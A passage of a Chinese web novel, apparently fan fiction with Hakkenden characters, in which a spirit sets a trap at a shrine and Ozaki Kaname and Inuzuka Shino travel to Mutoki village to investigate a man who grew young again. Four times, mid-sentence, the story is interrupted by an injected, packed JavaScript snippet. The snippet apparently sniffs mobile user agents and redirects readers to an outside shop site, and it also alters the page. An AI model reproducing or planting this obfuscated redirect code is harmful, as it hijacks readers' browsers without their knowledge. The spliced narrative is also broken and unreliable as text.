大概是五天前吧,平静的森林里来了位奇怪男人,他浑身散发着水汽的味道,穿的也破破烂烂像是从哪儿逃荒来的,小妖怪们躲在灌木丛里偷偷看了一会儿,还叽叽喳喳讨论了一下,但很快就不感兴趣了。 毕竟对它们来说还是吃喝玩乐更重要,这座森林也经常有陌生的妖怪、人类出现,大家都已经习以为常,所以热度消散得非常快,但随后事情的发展便开始不受控制。 “那个不知道是妖还是人的家伙,一来便将原本神社中的妖怪给赶了出去,为了立威,不服管教的妖怪通通杀死,弱小的妖怪留下来替他重新休整神社……” 扶黎忍不住回头看了看身后这座建筑。 嗯……就这还是被休整过后的样子?灰尘、落叶、蛛网,屋顶上破掉的瓦也没补回去,到底休整了什么地方? 小黄还在喋喋不休说个不停:“我因为太过弱小还没什么力气,反而逃过一劫,但也仅限于此,出去的路都被封死了,不知道什么时候他会想起我们这些碍事的小妖怪,如果心情不好忽然大开杀戒可怎么办。” 说着说着便沮丧起来,眼睛一酸,眼底忍不住泛起泪花。 扶黎看小狐狸可怜巴巴的样子,忽然想起待在家里的阿福和阿年,都是这么小小一团,看着弱兮兮,好像一戳就会一跟头翻出去老远。 不,准确地讲它比阿福、阿年还弱上许多。 一股怜爱之情自扶黎心底油然升起,为数不多的恻隐之心让他决定先把小狐狸送出去。 他一把抄起小家伙,仿佛提溜着一只毛绒玩具,不甚温柔。 小黄不舒服地踢弹了两下后腿,欲言又止。算了,看在对方是要带它出去的份上,这个刺就不挑了,我真是个体贴的小妖怪,非常厚脸皮地就将胆小包装成了贴心。 “哎哎,这条路走不了……”正想提醒提溜着自己的人,这条路它们已经试过很多次了,每次一进去就会像鬼打墙一样,绕着绕着又会走回去时,眼前豁然开朗,和从前完全不一样的风景,一条笔直的路出现在身前,直直通向外界。 小狐狸眼睛都瞪圆了,感觉自己舌头都在打结:“怎、怎么回事?!怎么会有条路,之前都没有发现的!” 扶黎哼笑一声:“能让你们发现还怎么困住你们,还有这里进来其实也不容易,能进来的都是被故意放进来,不知道之后要拿来作何用途。” “那你呢?”小狐狸仰着脑袋,忽然担心起来:“也是被故意放进来的吗?”那他们可怎么逃出去。 扶黎不能接受自己的能力被质疑,当即嗤笑:“他算什么,真厉害就不会躲在这里暗搓搓搞事情,小孩子就别乱操心了,难事交给大人来解决。” 话音刚落,扶黎脚步顿住,将手里的小狐狸往前轻轻一丢。 小黄灵活地在半空翻身,四爪落地,往四周一看,一时惊喜地叫出声:“真的出来啦,是森林的外围!” 扶黎将它送出来,转身要再进去一趟,却被小狐狸抓住了裤脚,他低头瞥一眼:“干什么呢?” “你是要进去抓那个大坏蛋吗?”小黄期期艾艾。 青年没说话,只默默看着,似乎在等它的下一句。 小黄鼓起勇气:“如果,我是说如果,你有空的话能不能在下次出来的时候带上我的朋友,一只小兔子和一只狸猫,不用你拎着,让它们跟在你后边自己跑就行。” 讲完,它惴惴不安盯着扶黎,生怕自己提的这个要求太过分,对方不乐意,因为对小妖怪来讲,逃出这座森林多难啊。这次它出来的容易,说不定也是人家费了大力气呢。 “我当是什么事?”扶黎故作冷漠地沉默了好一会儿,直到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128062|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小狐狸急得快哭了,才噗嗤一声溢出一丝轻笑不再逗它:“可以是可以,但我可不一定能遇到它们,要怎么带出来呢?” “我知道它们藏在哪里!而且今天那个坏蛋好像不在,可以放心地走,不用躲!” 就算在也没什么大碍,扶黎正愁怎么把这个狡兔三窟的逃犯给逮回去呢,现在巴不得那小子立刻出现。 应下小狐狸提的要求,又叫它找个地方仔细躲好。 扶黎开始了自己今天的主要任务——设陷阱,不知道那家伙什么时候回来,又不能叫自己为此一直等在这里,只能另辟蹊径。 重新返回神社后,扶黎站在巨大的鸟居之下,掌心亮起金色的光芒,金光逐渐凝实变成丝丝缕缕缠绕在一起的金线,仿佛结网一般四处拉起,转眼间便在神社各处留下交错的金丝,手掌轻轻一抹,那些金丝又瞬间黯淡下去,数秒前的绚丽犹如一场错觉。 这些丝线附带了雨笠的气息,只要雨笠踏进哪怕一步,这些丝线都会不远千里将消息传回去,到时扶黎只要过来瓮中捉鳖。 做完这一切,扶黎还记得去约定的地点,把小狐狸俩朋友给带走。 三个小家伙不愧是做朋友的,胆子一样小,看见忽然出现在他们窝前的扶黎好悬没吓厥过去,知道是来带它们走的,又喜极而泣怀疑都没有就跟着走了,脑容量肉眼可见得小。 忙活一大圈,做了点好人好事,回去的时候已是日落西山。 …………………… 阿福、阿年早早准备起了晚饭,扶黎进门正赶上最后一道菜出锅,阿福一回头顿时一脸喜色,连忙放下手中的锅铲,“哒哒哒”跑过来:“大人您回来啦,事情还顺利吗?我们正想着要不要给您留饭呢。” 扶黎摸摸他那一头小翘毛:“事情很顺利哦,但还要在这儿待上几天,你们觉得无聊吗?” 阿福头摇成拨浪鼓:“没有没有,这里有好~~多人类,下山的时候聊的可开心了~” 而且因为他们是小孩模样,村里的人总会因此给他们塞上几个自家门口果树上长的果子,每每都满载而归。 “那就行。”扶黎欣慰地点点头,还是不忘叮嘱:“和他们来往可以,但绝对不能轻易露出自己和人类不一样的地方,哪怕对方看起来很好很好也不行,知道吗?” “知道,我们只是长得小可活了许久了,人心难测这一点也是明白的,您放心。” 这都是老生常谈的话,扶黎最开始会经常提醒他们,如今这么多年下来,阿福和阿年一直遵守得很好,几乎刻进了自己的DNA,扶黎也渐渐放松了,难得提一次。 晚饭是熬得稠稠的小米粥,外加煎的奶白的鱼汤,以及一盘炒的青翠欲滴的青菜,阿福又给每人分了两只炸虾。 看着不多,但对于晚饭来讲,正正好,不会太过油腻,吃完也不撑。 美美地吃完它们,扶黎便回房歇下了,虽然时间还很早,但他坚信有条件的情况下早睡早起,那么没条件的时候熬几个大夜也没关系,尽管他的身体并不需要在意这一点。 5. 第 5 章 离六时村骑马不过小半天距离的帝都此时华灯初上,繁忙都市里的人们尚在热闹地逛着街,而四兽神家的府邸里仍然有人在工作。 尾崎要一如既往般随意推开了书房的门,狐狸一样的金色眼睛微微眯起,一笑便显得不怀好意的样子,他快步走过来,边挥了挥手里的文件,语气雀跃:“莉芳,六时村的异常事件报告你收到了吗?” 桌后的人漫不经心抬起头,浅色的眼瞳仿佛上好的宝石,投过来不甚关心的一眼:“没有,什么事情?” 尾崎要拉过一旁的椅子,反身跨坐上去,一手抱着椅背,一手并指将文件推过去:“看看。” 被叫做莉芳的人显得有些头痛,眉间细细蹙起,但美人不管怎样都是美人,皱眉无损他的美貌,他轻轻叹了口气抬起眼:“我很忙。” “当然,我知道你大部分时间都很忙。 ”尾崎要不依不饶,非让他看一眼:“教会的那群老狐狸一惯会压榨你,你理他们做什么,挑几样做做就行他们还指着你当活招牌呢,明明长了张这样的脸,竟然性格那么认真,真是太浪费了。” 莉芳对尾崎要的说辞无动于衷,只是为了让对方赶紧安静的滚出去,莉芳还是屈尊降贵拿起文件准备敷衍地看上两眼。 然而很快他的神色便变得认真起来,待看完整个事件的报告,眉宇间的忧虑已经浓得仿佛化不开,再次确认:“这次的始作俑者是位女性?具体样貌呢?” 尾崎要仿佛提前预料到他会问,得意洋洋地哼笑一声:“早知道你会感兴趣,都打探清楚了,是个女人,但不是你想的那个金发碧眼的女人,也没有人得到一瓶喝下去就会染病的药水,总之目前看来和那个女人没有关系。” 里见莉芳听了却并没有放心的感觉:“还不能放松警惕,玉梓姬会在什么时候再次出现谁也不知道,她绝对不会放弃八颗明珠和信乃的躯体,或许这次也只是她的障眼法。” 浅金色的长发在耳边静静垂落,男人看着像是想去亲自确认一番,但被尾崎要劝了下来:“知道你是个弟控,但你应该表现给信乃看,而不是在我面前,那样我相信信乃会非常感动的。” 里见莉芳面不改色,淡色的眸子瞥过来,带着寒意:“如果你的嘴学不会在合适的时机闭上,我可以替你缝起来。” 尾崎要举手投降,识趣道:“好好,不打扰你,忙正事要紧。” “还有,这件事我会去看看的,虽然不想把人想得那么坏,但……啊保佑教会那群老家伙还没有老糊涂到相信这种事的地步,要是有人为此念叨着重返青春之类的,我可能会选择反叛,体验一下自立门户的的感觉。” 说这话时,尾崎要一直笑嘻嘻的样子,好像只是在说玩笑话,但莉芳知道他很认真。 身为小妾的孩子,要在还很小的时候就体会到了人心贪婪所带来的祸患,要说迄今为止要最讨厌的不过“贪心不足”四字。 人越老越是怕死,普通人怕死没什么,最怕身具权柄之人突发奇想要寻长生,最后多半是害的无辜之人受累。 两人从小一起长大,如此“大逆不道”的话也能拿出来敞敞亮亮地讲。 里见莉芳对此没什么意见,只客观道:“只要费涅根还活着,这种事就不会发生。” 四兽神的监护人——费涅根,在教会中拥有相当大的权利的人,几乎称得上说一不二,虽然总是笑眯眯,看上去就一副心机深沉的模样,但从他这么多年做的事来看,只是个有底线的坏心眼儿罢了,这样的人反而不需要担心。 尾崎要耸耸肩:“好吧,虽然应付不来那老头,但这点我赞同。费涅根是个头脑清醒的人,但就怕有和我继兄那样背后使阴招的家伙。” 里见莉芳的声音一如既往的清冷,说出的话却非常狂妄:“那些人不足为惧,我们也不再是从前的我们了,你只要做好自己的事就行。” 说完,似是犹豫了一下,他又补了一句:“这次也带上信乃一起去吧。” 尾崎要准备起身的动作一顿,又重新坐回去:“带信乃干什么,你不是担心他吗,不怕他又记起来?” 男人沉默着,此刻的他比起冰冷无情的犬神附身者,更像一个默默关注弟弟的好哥哥,只是这份爱意过于内敛,总是吝惜于展露,声音也变得柔缓起来:“我希望他向前看,不要回头,哪怕是现在我依然这么像,只是这并不意味着要将信乃关在笼子里保护起来,有些事无法逃避,总要去做,我只希望他有朝一日能从如今的境况里走出去。” 直到走出书房,莉芳的那番话言犹在耳,尾崎要不知该如何形容自己此刻的心情,作为从小就被送到四兽神家的狐神附体者,他不仅无法体会到普通家庭中亲情的温暖,甚至曾一度被同一血脉的亲人视为眼中钉、肉中刺。 现在他似乎从别人身上间接地明白了亲情是什么。 即使跨越数年,即使相距千里,即使并不知道,但那条血缘的纽带却一直联系着他们,冥冥之中像是一条丝带连接着两头,让两边不由自主互相靠近。 难得见莉芳如此温情的一面,尾崎要不知作何感想,但大抵是有些羡慕的——明明一样从小便被送到这个除了兽神便是教会职员的地方,孤单地从一个牙牙学语的孩子慢慢成长为青年,正常的童年似乎只是一种奢望,只有在偶尔看到对方时才会觉得,原来还有人和我一样,好像也就没那么孤独了。 只是忽然有一天发现,表面待人温和有礼,但实际拒人千里之外的莉芳其实还有一个弟弟,对弟弟还那么的体贴。 哇,这种有点颠覆的感觉还不赖。 嘴里哼着不成调的小曲,尾崎要在府邸里找了一圈,终于在小花园里发现了正在偷懒晒太阳的信乃。 “小~信~” 院中,犬冢信乃倒在躺椅上晃晃悠悠,听着耳边传来的鸟鸣,还有小池塘的流水声,正是惬意的时候,忽然听见尾崎要两个字都要拐三道弯的做作叫声,只觉得浑身汗毛都竖了起来,胳膊上全是鸡皮疙瘩。 气急败坏地摔下盖在胸口的书,信乃脸臭的不行:“能不能好好说话?滨路还在学校里上学没回来,你在这儿腻歪给谁听?” “什么腻歪?”尾崎要不满地讲道:“明明是温柔的呼唤,你不要曲解我的意图,这多么让人伤心啊。” 信乃懒得和他多做争辩,敷衍地点头啊点头:“好的好的,温柔的呼唤,那么温柔的尾崎先生,请问您找我有什么事呢?” 尾崎要一挑眉:“不能是我闲得无聊,所以过来找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128063|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你来聊聊天吗?” “少来,你闲得无聊的时候宁愿去古那屋找小文吾他们也不会来找我。”信乃自觉已经看穿了尾崎要的小把戏,眼睛顿时眯了起来:“给我老实一点说,到底什么事?” 见信乃双手叉腰,村雨也在一旁虎视眈眈盯着自己,尾崎要只好收起脸上不太正经的笑,一脸严肃地将他们要一起出去一趟的事给说了。 然后果不其然,遭到了信乃的强烈反对:“我才不要出门,庄介那边的孤儿院正缺人呢,我要过去帮上一段时间的忙,走不开,你找别人去吧。” 绝对不是因为那地方一听就没什么好吃的! “真的吗?”尾崎要见他拒绝也不着急,不紧不慢道:“这可是莉芳的命令,想想你的零花钱是谁发的?” 信乃:“……” 信乃憋着一口气,张嘴似乎想说什么,只是最后还是憋屈地咽了回去,妥协一般:“要去多久?立刻就出发吗?” 尾崎要摆摆手:“晚上火车都停了,我让侍从去订了明天一早八点的票,记得早起。” “什么!”这简直晴天霹雳,信乃不敢置信地看着他,抓狂道:“为什么买这么早的票?!晚一个小时不好吗?我起不来啊!” 要信乃来说,每天赖到太阳晒屁股才是最舒服的作息,天蒙蒙亮就起那是人能做到的事情吗。 尾崎要铁石心肠:“晚上十一点前睡,相信你能七点就起。” 留下这句让信乃气得牙痒痒的话,尾崎要便扬长而去。 但能怎么办呢?虽然信乃一向自我又任性,但遇上莉芳这样和他性格如出一辙,甚至更胜一筹的人,他也只能甘拜下风。 …………前面说的这些理由其实都不重要,最根本的原因是——发零花钱的是莉芳啊!! 上次就因为风鬼、雷鬼做过火,淹了别人的村庄,害他被连坐扣零花。 有句话说的好,由俭入奢易,由奢入俭难,从来没有过零花钱的时候不觉得,有过之后忽然失去那就开始哪哪不得劲儿,非得给它弄回来不可。 于是,等到睡觉时间回屋后,信乃洗完澡赤着脚踩在地上时,边擦头发边将这件事跟庄介说了。 犬川庄介猝不及防被通知,一瞬间表情很微妙。 如果说莉芳是信乃表面上的监护人,那么庄介就是事实上的监护人,无论大事小事只要事关信乃事事操心。 这次也是,庄介下意识便问了句:“什么事非得带着你?” 嘴上问着,见信乃又不穿鞋就直接踩在冰凉的地面上,两步上前直接将人抱起来扔到床上。 信乃在床上颠了两下,不满地拍起来:“干什么啊!” 庄介的手已经握住了他的脚,入手一片冰冷,他也不嫌弃干脆两只手包住,口中还在教训:“跟你说过多少次,这么冷的天不要不穿鞋踩地上,容易生病。” 信乃不服气地嘟嘟囔囔:“那是小时候,现在才没有那么容易……” 在庄介沉默的注释之下,最后几个字默默消失在嘴里。 庄介低下头,继续给他暖脚:“刚才的问题你还没回答我。” 信乃:“我也不知道为什么啦,既然尾崎要也会去应该是跟教会有关的事情。” 6. 第 6 章 要么庄介说信乃还是小孩子,明明顺嘴问一下的事,结果回来了都不知道自己究竟过去要干什么,还非说自己心理年龄18岁。 而犬川庄介一直坚定地认为信乃的心理年龄六岁不能再多了,多一点都是对他平日里行为的不尊重,但这想法不能说出来,否则信乃会当场暴走。 这会儿庄介心里还有些焦虑,大概是信乃每次出门总会遇上事,以至于现在人还没出去,就已经提前担心起来。 “要不我和你一起去吧?”如此自然的这句话便脱口而出。 信乃有点不乐意,自己都这么大个人了,去的地方也不远,哪里用得着特意跟着。 但鉴于自己之前的几次表现,他没敢斩钉截铁地说没问题,只委婉表示——尾崎要和他家几只小狐狸都跟着你就不要操心了,我保证凡事先让尾崎上! 尾崎要:……我真是谢谢你。 如此三番四次地作保证,再加上教会孤儿院缺人,庄介无法离开,只能勉强答应下来。 …………………… 第二天一早,天刚微微亮,寂静的房间里只有浅浅的呼吸声。 然而这样的安静没能维持多久,很快房门就被敲得震天响催命一样。 庄介因为有事,六点就起来出门了,房里只剩下信乃一个人在呼呼大睡。 被噪音搅得不堪其扰,床上的人不耐烦地翻了个身,反手掀起被子盖住脑袋,但被子的隔音效果实在微乎其微,只坚持了一会儿,刚刚盖上的被子就被火大地掀开。 顶着一头鸟窝般的乱发,信乃一脸起床气地去开门。 门一打开,尾崎要那张惹人厌的笑脸便抢先冒了出来,这种时候真是比平时还要惹人厌一百倍。 “你、在、干、什、么。”几乎是咬着牙一个字一个字地说出来,捂着感觉快要爆炸的脑袋,信乃无比烦躁,只想倒回去继续睡。 仿佛没看见面前人想要杀了他的眼神,尾崎要尽情展露自己灿烂的微笑:“你在说什么呀,小信~~昨天说的事情都忘记了吗?已经七点了哦,怕你迟到,我可是亲自来叫你了。” 一瞬间仿佛晴天霹雳,床铺离他远去,只剩下痛苦的心情。 抓了抓自己的头发,信乃不得不放弃回笼觉,痛苦地去洗漱换衣服,出门的时候还是睡不醒的样子。 尾崎要拿了三明治给他做早餐,让他边走边吃。 教会的人员,尤其是身为四兽神家,别的不说生活水准还是很高的,出门有汽车接送,火车票也是买的最贵的包厢。 开到目的地需要一个小时左右的时间,鉴于整座包厢只有他们自己人,信乃打算在车上再小睡一会儿。 结果由于车上的环境实在是不如家里好,只眯着眼打了个会盹儿,完全没有进入梦乡的意思。 蔫蔫地靠着椅背,信乃原地化身蘑菇,神游了一会儿才想起要问这趟出行的目的。 “哎哟,我还以为你要到了地方才会想起来。” 和信乃的蔫巴巴相比,尾崎要简直是光彩照人。 正襟危坐,手上捧一本精装书,虽然不知道有没有真的在看,但不管是谁来看都毫无疑问是位贵公子。 而他的小狐狸们则在旁边忙得团团转,明明只需要照顾一个人,却还是将自己使唤得像陀螺,可谓天生劳碌命。 这会儿他放下书,一只手搭在膝盖上,游刃有余道:“和之前几次一样,帝都外的六时村发生了一些不是人力所能及的妖异之事,莉芳知道后不太放心,正好我最近也不是很忙,就过去调查调查,你是顺带的。” 信乃:“…………” 尾崎要:“具体情况到了那儿再跟你说。好了,不要这么愁眉苦脸的,虽然没有和牛,但那里农家饲养的土猪肉很不错,我请你吃烤五花肉好不好。” 尾崎深知打蛇打七寸,这句话一出,信乃的精气神立刻回来了六七分,毕竟他的胃口很大,没有零花钱的时候,只能靠蹭吃蹭喝,就算有零花钱也不能随便吃。 于是还没到目的地,这一路上信乃已经开始盘算起——要怎么吃才能把这趟公出吃回本。 ………… 要下地干活的村里人总是会起得更早一些,最近虽正值初秋,还是有那么几天热得不行,仿佛夏天回光返照,俗称秋老虎。 村里人会趁着太阳还没完全出来时下地干活,等太阳升起来热得熬不住了再回家。 家里孩子大了的会在这段时间帮忙准备简单的早餐,等着他们干完活儿回来吃,孩子还小的就只能自己出门前做好,回来时饭菜温度也下来了,正方便吃。 这会儿几个村民正在家门口边端着碗边吃饭边聊家常,早上的劳作很辛苦,但他们这里土地还算肥沃,地理位置也靠近帝都,所以平时日子还算过得去,只要勤劳一点,至少吃穿不愁。 结束了一早上的劳作,大家这会儿都很放松,聊着聊着就聊到了最近那件传闻。 “你们说那事儿是真的吗?” 旁边的村民光顾着吃,还没反应过来:“哪件?” “啧,就后面那家,上山砍柴那户叫小平隆的。” 这么一说,周围几个人顿时都知道他的意思了,七嘴八舌说起来。 “怎么不是,我还特意去看过,真的有个年轻男人在他家里和小平隆有几分相思。” “那会不会是他儿子?” 这句话迅速遭到了其他人的反驳。 “隆家只有两个女儿,可没有儿子,而且女儿们都出嫁了,也没听说过他这么大的侄子,绝对就是小平隆本人。” “你怎么没去问问,真可惜。” “要问你自己问去,我可不敢。” “就是,谁知道他是遇到什么才会返老还童,万一给我们招上祸怎么办!” 大家议论归议论,对这种事却是敬而远之,一旦沾上身可不是他们这种普通平民能够解决的。 几人一时陷入沉默之中,有志一同地决定换个话题。 第2个话题还没找着,村口教堂里忽然出来几位神父,可能出去有什么事,明明只有三个人,却开了两辆车。 村民们一下就被转移了注意力,在后面探头探脑,心头好奇不已。 “村里又要来大人物了吗?” “大概是吧,你看神父他们还亲自去接。说起来最近村子是来了不少陌生人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128064|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个个都包得严严实实,在村里到处走,走不多久就往后山跑。” “真的假的?” 另一人笃定地:“那当然!我平时没事就爱坐家门口树下,正好能瞧见村口的情况,这几天就看见好些人一进村就奔着后山去。也不知道这些人在想什么,我看他们就和村里那几户整天想发财,地里活儿也不干天天往山上的跑的目的一样一样的。” “说的对,想想哪儿来那么多好事,山里的还不知道是神是妖,就算是神,人家为什么无缘无故满足你的愿望……” 这几个村民还算明事理,再加上胆子小,有些事不敢追究,所以那件事发生后也当做没发生一样,该下地下地,该干活干活,日子还和从前一样。 但并不是所有村民都和他们一样,梦想着一夜暴富的大有人在,也因此村里最近躁动得很。 想上山找神仙的,和家里不想让他去的,几乎每天都有几户在为此吵架,搞得鸡犬不宁。 倒不如说这些外来人赶紧调查清楚山上发生的事,他们村子也好回归平静。 远处传来“呜呜”的鸣笛声,一辆黑色的火车喷着浓烟逐渐驶近,像一只黑色的巨兽,缓缓停靠在站台。 尖锐的轨道摩擦声像是能刺破人耳膜,车门打开,乘客鱼贯而下。 犬冢信乃仰天打了个大大的哈欠,双手插着口袋,懒洋洋的,什么话也不想说。 教会的人早就等在站外,一见到穿着白色教会服装的尾崎要便走过来,恭敬道:“尾崎大人,车已经备好,请上车。” 尾崎要矜持地点点头,仿佛吝于开口,非常高贵冷艳一个字都没有回。 信乃新奇地看了他一眼,在四兽神家里看多了尾崎嬉皮笑脸的样子,突然见他这副高冷作态,怪不习惯的,这大概就是所谓的对外公事公办专用表情。 村里的路比不上帝都,就算开车的神父开得再克制,还是会时不时颠一下,信乃对此适应良好,倒是尾崎要的脸色有些微妙地变差了。 但脸色变差也没用,受限于客观条件,坐什么都颠,良好的修养让他忍了下来。 信乃忽然开口:“都到这儿了,我该干什么总应该告诉我了吧。” “嗯?什么?”尾崎要愣了一下才反应过来,注意力被转移了过去,简单说道:“吃过午饭,直接上山,相关资料已经让这边的教会整理好,到了那儿你可以直接看,比我口述更加详细。” 信乃耸耸肩,表示都听你的,这次你做主。 大概过了十五分钟,车在教会门口停下。 尾崎要按着太阳穴苦不堪言,只觉得自己找罪受,但答应下来的事,哪怕是跪着也要做完。 小狐狸忙里忙外放行李,看尾崎要不舒服,又去现泡水果茶给他清口、安抚神经。 信乃看不得他这弱兮兮的模样,一时撇嘴:“平时看你生龙活虎的样子,怎么坐个车就变脆皮了?” 尾崎要撑着笑:“首先,我只是被颠得有点难受,并不脆皮;其次,从来没被坐过这么颠簸的车,不习惯很正常;最后,你还想吃猪五花肉吗?” 犬冢信乃:“……” 好的,他闭嘴还不行吗。 7. 第 7 章 教会提前准备了丰盛的午餐,多到两个人再加五只小狐狸吃也绰绰有余,但并没有信乃心心念念的烤五花。 这也是当然,谁会在接待重要上级的时候,准备的菜品是接地气的烤肉。 不过味道也很好,信乃没有任何不满的地方,这会儿正边喝着热汤,边翻看这边教会提供的调查资料。 教会询问了大量相关人士,因此记载内容十分详尽,但除了当事人,其他人提供的线索比起事实,更像是揣测,没有太大参考性。 他看完后的反应不出尾崎要所料,和莉芳一样,下意识便认为当年致使大冢村染上瘟疫的女人再次出现了。 但尾崎坚决的否定这一猜测,表示两人的长相完全不一致,总是伴随那个女人出现的能实现愿望的水,目前更是毫无踪迹。 尾崎要:“玉梓姬但凡出现便会带来灾难,次次都有死伤,同时因为性情高傲,她也从未刻意掩饰过自己的样貌,又怎么会扮成一个可怜的迷路女人?你觉得她会这么做吗?” 也就是说,这次事件根本不符合她的行事风格。 教会内部也倾向于是另一个神秘存在。 不得不承认尾崎要说得很有道理,信乃沉下心仔细想了想,原本提起的心瞬间放了下去,甚至有点兴趣缺缺:“变年轻的那位当事人还活着?” 尾崎要摊摊手,耸了下肩:“活得好好的,看不出来任何异样。” 信乃这下彻底死了心,面无表情道:“到现在一个人都没死,不像那个心狠手辣的家伙,下午直接上山吧。” 尾崎要却提醒道:“不要因为不是她就放松警惕,世上难对付的人多的是,不要掉以轻心。” “我知道,会小心的,不然庄介知道了又要念叨。” 要说他最怕谁,非庄介和莉芳莫属,两个人虽脾性不一,但念叨起来却一样让人遭不住,真是不知道从哪里来的共通点。 只是本来打算的好好的,下午就开始干活,却人算不如天算,刚吃过饭没一会儿,原本还算晴朗的天气瞬息万变,天空乌云密布,豆大的雨点说下就下,噼里啪啦砸下来,门前花园里的泥土都被砸出一个个小坑。 信乃站在窗前看着,雨水毫不留情扑面而来,甚至打湿了窗台下一小片地板,不知道什么时候才会停下,只觉雨势来势汹汹。 信乃百无聊赖,看着看着便失去了兴趣,懒懒地重新回到沙发边坐下,捏了块曲奇饼干吃起来:“看起来暂时出不去了,要,除了那份资料上写的,还有别的和这件事相关的内容吗?” “嗯?”正在看报的尾崎要抬头奇怪地看了他一眼,浅啜一口红茶:“没有,怎么了吗?这么关心这次的事件?” 向后一倒,仿佛没骨头一般瘫在沙发上,信乃随口回道:“只是有点无聊,这么大雨出又出不去,还不如拿来想想这次的事,省的浪费时间。” 尾崎要:“无聊可以看书啊,这里有不少,我给你拿……” “不用。”话没说完就被信乃打断,他好像一个厌学的小学生,听见“书”这个字就开始皱眉头:“我宁愿发呆也不要看书。” “这可不行,书能为我们带来知识,我相信你只要试着看一次就会明白其中的好处。” 一头金发的美男子说的义正言辞,仿佛他就是这世上最爱看书,最博学的人。 如果不看他手上那份报纸上的大字——帝都八卦——的话,或许还更可信一点。 信乃忍不住吐槽的欲望,翻了个大大的白眼:“在说这句话的时候,希望你可以把手上的报纸换一换,现在非常没有说服力。还有,知识目前我已经足够了,再多的只有立志做学者的人才需要,我更相信从实践中获得知识。” “哇,小信还真会说耶,都不像你了~~” 尾崎要笑嘻嘻开着玩笑,姿态闲适,如果来上一杯酒,那就更像是哪家的富二代纨绔子弟了。 “要,外面的雨变小了。”金狐抱着托盘站在窗边指了指外面的天空:“看着过一会儿就能停。” 银狐:“雨停了的话要出去吗,外面的路可能会有点不好走。” 信乃不以为意:“之前山上下暴雨不也去了吗,才下了一会儿路应该还好。” 银狐是个贴心小天使,立刻道:“那我去准备鞋套,还有雨衣。” 鞋子沾上泥巴走起来会很不舒服也容易湿,半路下雨的话,山上不一定能找到躲雨的地方,还是带上雨衣保险。 信乃还没来得及拒绝——他没那么娇贵,之前也没人准备啊——银狐已经跑走了。 哦,之前也没有尾崎要,小狐狸们是绝对舍不得他们的主人吃苦的,哪怕只是一点点。 商量好的日程如期执行,就如同之前预料的一般,由于时间并不长,泥土还没来得及吸收那么多水分,踩在上面并没有烂乎乎的感觉。 信乃熟练地在山林间穿梭,像是住在山里,不管是陡峭的山路,还是挡路的藤蔓灌木,总能轻而易举地穿行而过。 倒是尾崎要因为常年在帝都生活,既没有那么丰富的爬山经验,又要风度地穿了双不合适的鞋子,导致屋漏偏逢连夜雨,上山之路磕磕绊绊,信乃走几步就要停下来等他一会儿。 最后实在受不了要这拖后腿的速度,信乃指挥小狐狸强行给他换上了便于爬山的鞋——感谢小狐狸们总是这么考虑周到。 说是上山查看线索,但他们并不知道具体要到哪里才能找到那天出现的女人。 抱着几乎不可能的希望去了事件发生的地点,果然什么都没发现,想也知道这么多天过去了,只要有点脑子都不会留在原地等着别人来抓,说不定对方已经离开了这片地区。 不过这种可能性很低,猎人布下了局必定会回来收网,否则一番辛苦便白费了。 两人在山间转来转去,试图碰碰运气找线索。 站在一块凸出的大石头上,信乃举目四望,山间的风带来雨后凉意,深吸一口气仿佛肺部都变得清新了。 雨后初霁,目之所及皆是一幅美好的景象,但周围却总透着一股不对劲。 金狐在四周围“哒哒哒”跑来跑去,仿佛回到了多年前还是一只普通小狐狸的时候,自由又快乐,自从成为兽神,就有好多年没有真正地出来过了,但是…… “好安静啊,怎么连鸟叫声都没有,现在的森林都是这样的吗?距离我上次出城也不过十几年啊,变化好大。” 银狐跟着点点头:“是哦,雨都停了,是不是山里的动物还在躲雨呀?” 仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128065|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛有一道灵光闪过,信乃和尾崎要对视一眼,各自明白了对方的意思——山中的生灵不明缘由消失了。 没有多说一句话,他们默契地试图继续往深山中行进。 一路上非常安静,正是这样的安静让两人意识到有什么事发生了。 